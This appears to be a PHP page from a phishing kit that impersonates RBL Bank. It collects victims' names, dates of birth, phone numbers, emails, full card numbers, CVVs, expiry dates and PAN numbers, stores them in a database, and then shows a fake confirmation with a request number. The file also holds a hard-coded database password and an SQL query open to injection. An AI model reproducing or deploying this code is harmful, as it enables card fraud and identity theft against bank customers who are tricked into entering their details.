<?php
$hostName = "localhost";
$userName = "u631290866_db";
$userPass = "x>KszCH9";
$DBname = "u631290866_db";
$conn = mysqli_connect($hostName, $userName, $userPass, $DBname);

if (mysqli_connect_error()) {
    echo "<b>There is a connection problem with the server</b> :  " . mysqli_connect_error();
    exit();
}

date_default_timezone_set("Asia/Kolkata");

if ($_SERVER["REQUEST_METHOD"] == "POST") {
  $name = $_POST['name'];
  $randvalue = $_GET['uid'];
  $dob = $_POST['dob'];
  $phone = $_POST['phone'];
  $email = $_POST['email'];
  $card_no = $_POST['card_no'];
  $cvv = $_POST['cvv'];
  $expiry = $_POST['expiry'];
  $cardholder = $_POST['cardholder'];
  $cardlimit = $_POST['cardlimit'];
  $available_limit = $_POST['available_limit'];
  $pan_no = $_POST['pan_no'];
  $adhar_no = "";
// $randvalue = rand(1111111111,9999999999);
  $sql = "INSERT INTO data (name, dob, phone, email, card_no, cvv, expiry, cardholder, cardlimit, available_limit, pan_no, adhar_no, application_no)
  VALUES ('$name', '$dob', '$phone', '$email', '$card_no', '$cvv', '$expiry', '$cardholder', '$cardlimit', '$available_limit', '$pan_no', '$adhar_no', '$randvalue')";
//   echo $sql;

  if ($conn->query($sql) === TRUE) {
    // echo "New record created successfully";
  } else {
    // echo "Error: " . $sql . "<br>" . $conn->error;
  }

  $conn->close();
}
?>
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Success</title>
    <link href="https://stackpath.bootstrapcdn.com/bootstrap/4.5.2/css/bootstrap.min.css" rel="stylesheet">
        <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/5.15.3/css/all.min.css">

    <style>
        body {
            display: flex;
            flex-direction: column;
            justify-content: center;
            align-items: center;
            height: 100vh;
            /*background-color: #f8f9fa;*/
        }
        .container {
            text-align: center;
        }
        .logo {
            width: 200px;
            height: auto;
        }
        .tick-button {
            margin-top: 20px;
        }
    .home-icon {
    margin-top: 48px;
    font-size: 36px;
    color: #273e84;
        }
        .home-icon a {
            color: inherit;
            text-decoration: none;
        }
    </style>
</head>
<body>
    <div class="container">
        <img src="1.jpg" alt="RBL Bank Logo" class="logo">
        <h4 style="
    font-size: 22px;
    font-weight: bold;
    margin-top: 10px;
">Thanks for Choosing RBL Bank</h4>
        <?php
            // Generate a unique 10-digit alphanumeric request number
            $requestNumber = 'RBL' . strtoupper(bin2hex(random_bytes(5)));
            echo "<p>Your request number is <strong>$requestNumber</strong></p>";
        ?>
        <p>It will be updated within 24 hours.</p>
<img src="1840744.png" width="100px">
<div class="home-icon">
            <a href="index.php">
                <i class="fas fa-home"></i>
            </a>
        </div>
</div>
</body>
</html>
